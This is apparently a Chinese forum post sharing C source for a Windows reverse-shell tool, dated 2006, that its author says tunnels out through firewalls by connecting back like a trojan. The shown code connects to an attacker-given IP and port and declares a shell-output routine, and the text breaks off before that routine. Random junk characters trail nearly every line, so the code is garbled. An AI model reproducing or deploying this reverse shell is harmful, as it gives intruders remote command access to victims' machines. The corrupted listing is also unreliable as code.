这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 #fF';Y7
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/* ============================== |=Pw-uk
Rebound port in Windows NT ^+dL7g?+
By wind,2006/7 eG5xJA^
===============================*/ KlRIJOS
#include eKqo6P:#f
#include Nu%MXu+
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#pragma comment(lib,"wsock32.lib") <(o) * Zmo
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void OutputShell(); u+]8Sq
SOCKET sClient; s !HOrhV
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; v}"DW?
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void main(int argc,char **argv) Czd)AVK
{ %y\
WSADATA stWsaData; gs= (h*
int nRet; <~.1>CI9D3
SOCKADDR_IN stSaiClient,stSaiServer; O ;B[ZMV
}xy[&-dh
if(argc != 3) 4"%LgV`
{ M[ ,:NE4H
printf("Useage:\n\rRebound DestIP DestPort\n"); 09HqiROw
return; G+Zm
} k!wEPi]
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WSAStartup(MAKEWORD(2,2),&stWsaData); 140_WV?7
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
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stSaiClient.sin_family = AF_INET; p!~V@l
stSaiClient.sin_port = htons(0); mp>Ne6\Tu
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ,A!0:+
8}!WJ2[R
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 'di(5
{ Eg#WR&Uq"
printf("Bind Socket Failed!\n"); hW-?j&yJ?
return; e:RgCDWL
} j |ZhGerp
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stSaiServer.sin_family = AF_INET; !&vPG>V
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); [Xo[J?w],2
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); eq$.np
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) rTtxmw0
{ B["C~aF
printf("Connect Error!"); &qae+p?
return; 8A2 _4q@34
} 7F wot&